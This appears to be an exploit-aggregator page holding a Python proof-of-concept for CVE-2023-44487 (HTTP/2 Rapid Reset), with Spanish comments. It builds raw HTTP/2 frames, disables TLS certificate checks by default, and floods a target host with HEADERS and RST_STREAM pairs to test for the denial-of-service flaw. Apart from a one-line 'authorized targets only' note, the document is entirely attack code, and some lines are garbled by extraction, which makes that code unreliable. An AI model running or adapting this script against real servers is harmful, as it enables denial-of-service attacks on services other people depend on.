Share
## https://sploitus.com/exploit?id=4F6A4973-5B5F-5C74-A397-E0D50D5C463B
#!/usr/bin/env python3
"""
Evidencia CVE-2023-44487 (HTTP/2 Rapid Reset) — uso solo en targets autorizados.
Requisitos: Python 3.7+ (solo stdlib: ssl, socket, struct).
Por defecto NO se verifica el certificado TLS (muchas instalaciones de Python en
Windows fallan con SSLCertVerificationError). Usá --tls-verify para forzar
verificación estricta.
Qué hace:
1) TLS con ALPN "h2"
2) Prefacio HTTP/2 + SETTINGS cliente
3) Bucle: HEADERS (GET /) + RST_STREAM(CANCEL) en streams impares 1,3,5,...
Salida: cuenta frames GOAWAY del servidor y si la conexión sigue viva tras la ráfaga.
"""
from __future__ import annotations
import argparse
import socket
import ssl
import struct
import sys
import time
# --- HTTP/2 frame types ---
FRAME_DATA = 0x0
FRAME_HEADERS = 0x1
FRAME_PRIORITY = 0x2
FRAME_RST_STREAM = 0x3
FRAME_SETTINGS = 0x4
FRAME_PING = 0x6
FRAME_GOAWAY = 0x7
FRAME_WINDOW_UPDATE = 0x8
# RST_STREAM error codes (RFC 7540)
RST_CANCEL = 0x8
# HEADERS flags
FLAG_END_STREAM = 0x1
FLAG_END_HEADERS = 0x4
FLAG_PRIORITY = 0x20
def make_frame(ftype: int, flags: int, stream_id: int, payload: bytes) -> bytes:
"""HTTP/2 frame: 24-bit length, 8-bit type, 8-bit flags, R+31-bit stream_id."""
length = len(payload)
if length > (1 bytes:
"""
HPACK mínimo (RFC 7541) para una petición equivalente a:
:method GET
:scheme https
:path /
:authority
Índices estáticos: 2=GET, 7=https, 4=/
"""
if "\r" in authority or "\n" in authority or ":" in authority:
raise ValueError("authority inválido")
host = authority.encode("ascii")
# Literal Header Field without Indexing — Indexed Name (static index 1 = :authority)
# Primer byte: 0000 | index(4) = 1 → 0x01
block = bytearray([0x82, 0x87, 0x84, 0x01])
# Valor string literal sin Huffman (bit alto 0), longitud en 7 bits
if len(host) >= 127:
raise ValueError("host demasiado largo para este PoC simple")
block.append(len(host))
block.extend(host)
return bytes(block)
def read_available(sock: ssl.SSLSocket, max_bytes: int = 65536, timeout: float = 2.0) -> bytes:
sock.settimeout(timeout)
chunks: list[bytes] = []
total = 0
while total int:
"""Cuenta frames GOAWAY en un buffer (parseo mínimo; suficiente para evidencia)."""
n = 0
i = 0
while i + 9 ssl.SSLContext:
if skip_verify:
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
else:
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(["h2", "http/1.1"])
try:
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
except AttributeError:
pass
return ctx
def run(host: str, port: int, streams: int, skip_verify: bool) -> int:
ctx = build_ssl_context(skip_verify)
raw = socket.create_connection((host, port), timeout=10)
try:
tls = ctx.wrap_socket(raw, server_hostname=host)
except ssl.SSLCertVerificationError as e:
print(f"[!] Verificación TLS fallida: {e}")
print(" Quitá --tls-verify para usar el modo por defecto (sin verificar), o instalá el CA raíz.")
try:
raw.close()
except OSError:
pass
return 3
proto = tls.selected_alpn_protocol()
if proto != "h2":
print(f"[!] ALPN negociado: {proto!r} (se necesita 'h2' para esta PoC)")
tls.close()
return 2
tls.sendall(b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n")
# SETTINGS vacío (ACK=0)
tls.sendall(make_frame(FRAME_SETTINGS, 0, 0, b""))
pre = read_available(tls, max_bytes=65536, timeout=2.0)
go_pre = parse_goaway_count(pre)
print(f"[*] Tras preface+SETTINGS: leídos {len(pre)} bytes, GOAWAY={go_pre}")
headers_payload = hpack_get_request(host)
burst = bytearray()
for i in range(streams):
sid = 2 * i + 1
burst.extend(
make_frame(
FRAME_HEADERS,
FLAG_END_STREAM | FLAG_END_HEADERS,
sid,
headers_payload,
)
)
burst.extend(make_frame(FRAME_RST_STREAM, 0, sid, struct.pack("!I", RST_CANCEL)))
t0 = time.perf_counter()
try:
tls.sendall(bytes(burst))
except (BrokenPipeError, ConnectionResetError) as e:
print(f"[!] Al enviar la ráfaga: {e!r} (cierre TCP durante el envío).")
try:
tls.close()
except OSError:
pass
return 0
t1 = time.perf_counter()
try:
post = read_available(tls, max_bytes=65536, timeout=2.0)
except (ConnectionResetError, ssl.SSLError, OSError) as e:
print(f"[*] Tras {streams} pares HEADERS+RST_STREAM en {((t1 - t0) * 1000):.1f} ms:")
print(f" Al leer respuesta: {e!r}")
print("[+] Evidencia: ráfaga seguida de RST TCP (sin GOAWAY en buffer local).")
try:
tls.close()
except OSError:
pass
return 0
go_post = parse_goaway_count(post)
print(f"[*] Tras {streams} pares HEADERS+RST_STREAM en {((t1 - t0) * 1000):.1f} ms:")
print(f" Bytes leídos post-ráfaga: {len(post)}, GOAWAY en buffer: {go_post}")
if go_post == 0 and len(post) 0:
print("[!] El servidor envió GOAWAY (límite o cierre ordenado; revisar payload del frame).")
tls.close()
return 0
def main() -> int:
p = argparse.ArgumentParser(description="PoC Rapid Reset (CVE-2023-44487)")
p.add_argument("--host", default="TARGET", help="Hostname SNI / :authority")
p.add_argument("--port", type=int, default=443)
p.add_argument("--streams", type=int, default=200, help="Número de pares HEADERS+RST_STREAM")
p.add_argument(
"--tls-verify",
action="store_true",
help="Verificar certificado TLS (si falla, quitá este flag; en Windows suele faltar la cadena CA).",
)
p.add_argument(
"-k",
"--insecure",
action="store_true",
help="Forzar explícitamente no verificar TLS (equivale al comportamiento por defecto).",
)
args = p.parse_args()
# Por defecto no verificar: evita SSLCertVerificationError en IDEs / Python Windows sin CAs.
skip_verify = args.insecure or not args.tls_verify
print(f"Target: https://{args.host}:{args.port}/ | streams={args.streams} | tls_verify={not skip_verify}")
return run(args.host, args.port, args.streams, skip_verify=skip_verify)
if __name__ == "__main__":
sys.exit(main())